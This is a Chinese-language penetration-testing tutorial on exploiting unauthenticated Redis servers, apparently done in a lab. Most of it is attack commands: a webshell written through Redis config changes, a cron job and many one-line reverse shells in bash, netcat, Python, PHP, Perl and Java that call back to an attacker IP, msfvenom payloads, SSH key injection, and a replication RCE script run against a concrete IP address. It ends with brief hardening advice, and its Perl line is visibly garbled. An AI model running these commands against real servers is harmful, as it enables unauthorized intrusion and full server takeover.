redis未授权访问漏洞
目录
- redis未授权访问漏洞
- 一、Redis介绍
- 二、redis环境安装
- 三、漏洞原理
- 四、漏洞复现
- 4.1 webshell提权
- 4.2redis写入计划任务反弹shell
- 4.3 ssh key免密登录
- 4.4 Redis基于主从复制的RCE方式
- 五、Redis加固建议
一、Redis介绍
Redis,全称为Remote Dictionary Server(远程字典服务器),是一种开源的内存数据结构存储系统,主要用作数据库、缓存和消息中间件。 redis支持多种类型的数据结构,如字符串(strings),散列(hashes), 列表(lists),集合(sets),有序集合(sorted sets)。redis数据库能够存储的数据类型很丰富,应用场景多,同时纯内存的数据结构使它的读写速度很快,功能特性也在逐步丰富。
二、redis环境安装
由于redis未授权访问漏洞本质上是用户配置不当导致,所以redis版本并无严格要求。
这里是用redis源码搭建,编译安装成功以后,里面同时具有redis启动工具和连接工具,因此扮演服务端和客户端的两台设备都需要安装redis服务。
安装实例:
1、下载redis
cd /usr/local/soft ------进入自己安装软件的路径
wget https://download.redis.io/releases/redis-6.0.9.tar.gz
2、解压压缩包
tar -zxvf redis-6.0.9.tar.gz
3、确保gcc版本一定要大于4.9
gcc --version
4、编译安装
cd redis-6.0.9/src
make install
安装成功的结果是src目录下面出现服务端和客户端的脚本:
redis-server
redis-cli
redis-sentinel
5、修改配置文件
默认的配置文件是/usr/local/soft/redis-6.0.9/redis.conf
后台启动,不然窗口一关服务就挂了
daemonize no 改成 daemonize yes
bind 127.0.0.1必须改成0.0.0.0或注释,否则只能在本机访问
requirepass yourpassword 这一行也必须注释掉
6、使用指定配置文件启动Redis
/usr/local/soft/redis-6.0.9/src/redis-server
/usr/local/soft/redis-6.0.9/redis.conf
查看端口是否启动成功:
netstat -an|grep 6379
tips:配置一键命令
vim ~/.bashrc
source ~/.bashrc ----编译生效
开启一个新页面以后,就可以使用redis打开redis服务了
7、连接redis
/usr/soft/redis-6.0.9/src/redis-cli -h 服务端IP -p 6379
三、漏洞原理
在学习和利用redis未授权访问漏洞之前,我们需要了解一下redis的持久化机制和它的动态修改配置。
redis是一个基于内存的数据库,redis持久化机制可以将redis数据存储到磁盘上,避免redis数据库数据丢失。数据保存有两种方式,一种是自动触发规则,另一种是手动触发保存。
其中,自动触发规则可以在默认的配置文件/usr/local/soft/redis-6.0.9/redis.conf里找到:
这里三条已经全部开启,15min修改1条数据触发一次刷盘,5min修改10条数据触发一次刷盘,1min修改10000条数据触发一次刷盘。三条配置互不冲突。
手动保存则输入命令: save 或者 bgsave
我们一般常用的是手动触发保存。
同时在配置文件中可以找到默认保存文件dump.rdb ,以及文件存储位置是在当前目录上一级目录:
由此看来,redis服务可以动态修改配置,临时修改存储文件路径和存储文件内容。(意味着我们可以写入webshell后门了),但是这些修改只在连接内有效并不会体现在配置文件内,因为动态修改配置并没有往磁盘内存储,所以一旦断开连接再重新连接仍会使用配置文件的配置。
四、漏洞复现
4.1 webshell提权
根据上文,我们知道redis服务可以动态修改配置,临时修改存储文件路径和存储文件内容。那么,当我们已知服务端建立了网络站点或者扫描出网站路径,我们就可以通过动态修改配置,将redis的日志文件路径动态更改网站根目录,文件名更改为redis.php这种以php后缀命名的文件。
流程:
在客户端输入:
config set dir /xp/www/IP_80
config set dbfilename redis.php
save
因为是靶场,所以我们可以进入服务端验证一下,可以发现我们的文件已经写入了web目录下:
随后在攻击机中继续添加键值对,设置的value值为一句话木马,然后利用中国蚁剑来连接即可:
此时拿到了服务器的权限:
4.2redis写入计划任务反弹shell
使用反弹连接的原因:
1、内网,私有ip,无公有ip,外界不能直接访问
2、ip处于动态变化
3、6379端口不允许入方向的访问
4、一句话木马被杀软删除
控制机监听端口的方式:
netcat类型
nc -lvp 7777 (-nlvp lvvp)
msf类型
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 客户端IP
set Iport 7777
runsocat类型
socat TCP-LISTEN:7777 - (kali)
靶机反弹连接命令(靶机执行)
Linux bash类型 (不需要攻击机开放指定端口)
bash -i >& /dev/tcp/客户端IP/7777 0>&1
netcat类型 (需要攻击机开放指定端口或关闭防火墙)
nc -e /bin/bash 客户端IP 7777
——————以下是代码建立反弹连接类
python类型 (需要攻击机开放指定端口或关闭防火墙)
python3 -c “import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘客户端IP’,7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([‘/bin/bash’,‘-i’]);”
php类型 (需要攻击机开放指定端口或关闭防火墙)
php -r ‘exec(“/bin/bash -i >&/dev/tcp/客户端IP 7777”);’
Java类型 (需要攻击机开放指定端口或关闭防火墙)
r = Runtime.getRuntime()
p = r.exec([“/bin/bash”,“-c”,“exec 5<>/dev/tcp/客户端IP/7777;cat<&5 | while read line; do $line 2>&5 >&5; done”] as String[])p.waitFor()
perl类型 (需要攻击机开放指定端口或关闭防火墙)
perl -e ‘use Socket; i = " 客户端 I P " ; i="客户端IP"; i="客户端IP";p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in( p , i n e t a t o n ( p,inet_aton( p,inetaton(i)))){open(STDIN,“>&S”);open(STDOUT,“>&S”);open(STDERR,“>&S”);exec(“/bin/bash -i”);};’
——————以下是msf模块类 (kali)
msf-php类型
msfvenom -p php/meterpreter/reverse_tcp lhost=客户端IP Iport=7777 -o shell.php
msf-java类型
msfvenom -p java/meterpreter/reverse_tcp lhost=客户端IP Iport=7777 -f war -o shell.war
msfvenom -p java/meterpreter/reverse_tcp lhost=客户端IP Iport=7777 -f jar -o shell.jar
msf-exe类型
msfvenom -p windows/meterpreter/reverse_tcp lhost=客户端IP Iport=7777 -i 5 -f exe -o test.exe
在学习计划任务反弹shell时,我们需要先了解一下Cron表达式,cron表达式用于计划任务的触发。
在线生成Cron表达式:Cron - 在线Cron表达式生成器
Linux crontab命令:
crontab -u root -r -----删除某个用户的任务crontab -u root time.cron -----把文件添加到某个用户的任务
crontab -u root -l -----列举某个用户的任务
crontab -u root -e -----编辑某个用户的任务
/var/spool/cron --(目录) 这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab
/etc/crontab --(文件) 放的是对应周期的任务dalily, hourly monthly, weekly
也就是说我们可以通过动态修改redis配置将用户名文件写入/var/spool/cron
路径下,文件内容为反弹shell,然后在控制机监听指定端口即可反弹连接shell,
那么我们开始尝试写入反弹shell计划任务:
首先在控制机里连接靶机redis服务:redis-cli -h 服务端IP -p 6379
然后给控制机新开一个终端,在新终端里监听本机6666端口:nc -lvp 6666
之后在回到连接redis服务的终端,写入计划任务并动态修改配置文件:
set 1 "\n * * * * * bash -i >& /dev/tcp/客户端IP/6666 0>&1 \n"
config set dir /var/spool/cron
config set dbfilename root
save
等待一段时间发现连接成功,此时便可以对靶机进行下一步攻击了:
同时我们也可以去靶机验证一下计划任务是否成功被写入:
4.3 ssh key免密登录
ssh免密登录流程:
1、客户端生成密钥对(公钥和私钥)
输入:
ssh-keygen
,之后一路回车(空密码)即可,然后发现$HOME/.ssh/路径下多出了两个密钥文件(私钥和公钥),其中id_rsa.pub为公钥。
2、客户端把公钥发给服务端保存(正常情况需要密码)
输入:
ssh-copy-id root@服务端IP
验证一下发现确实添加公钥了:
3、客户端用私钥加密信息,发给服务端
4、服务端用公钥解密,密钥匹配即解密成功
5、客户端免密登录成功
输入:
ssh -i /root/.ssh/id_rsa root@服务端IP
到此便完成了ssh免密登录。
tips:客户端为控制机,服务端为靶机
基于上述流程Redis利用ssh key提权流程为:
1、控制机连接到redis
/usr/soft/redis-6.0.9/src/redis-cli -h 服务端IP -p 6379
2、向$HOME/.ssh/authorized_keys写入公钥
set xx "\n\n密钥内容\n\n\n"
config set dir /root/.ssh
config set dbfilename authorized_keys
save
3、ssh -i ./id_rsa user@IP 使用私钥免密登录
ssh -i /root/.ssh/id_rsa root@服务端IP
登录成功!
4、执行后续操作
4.4 Redis基于主从复制的RCE方式
(这里学习了这位师傅的博客https://www.cnblogs.com/paperpen/p/11178751.html)
因为Redis基于主从复制的rce攻击方式存在于 4.x/5.x的版本中,所以上述服务器中搭建的6.x版本的redis服务无法复现。这里我们选择docker拉取一个redis5.0的镜像:
docker pull damonevking/redis5.0
运行环境:
docker run -p 6379:6379 -d damonevking/redis5.0 redis-server //映射端口并运行容器
下载漏洞利用脚本:
git clone https://github.com/Ridter/redis-rce.git
注意,这里少一个.so的文件,到https://github.com/n0b0dyCN/redis-rogue-server下载并放到和redis-rce.py同一目录下
运行脚本:
python3 redis-rce.py -r 38.147.170.164 -L 38.147.170.164 -f exp.so
在此处:i为交互式shell,r为反弹shell,根据自己的需要选择就可以了
五、Redis加固建议
1、部署在内网环境等,如果要部署在外网需要限制访问IP
2、修改默认端口6379,避免被扫描到redis服务
3、使用复杂密码访问,并且定期更换
4、给redis创建一个专用的用户,为了避免 ”在任意路径写入任意文件“ 的事情发生,不要用root运行Redis。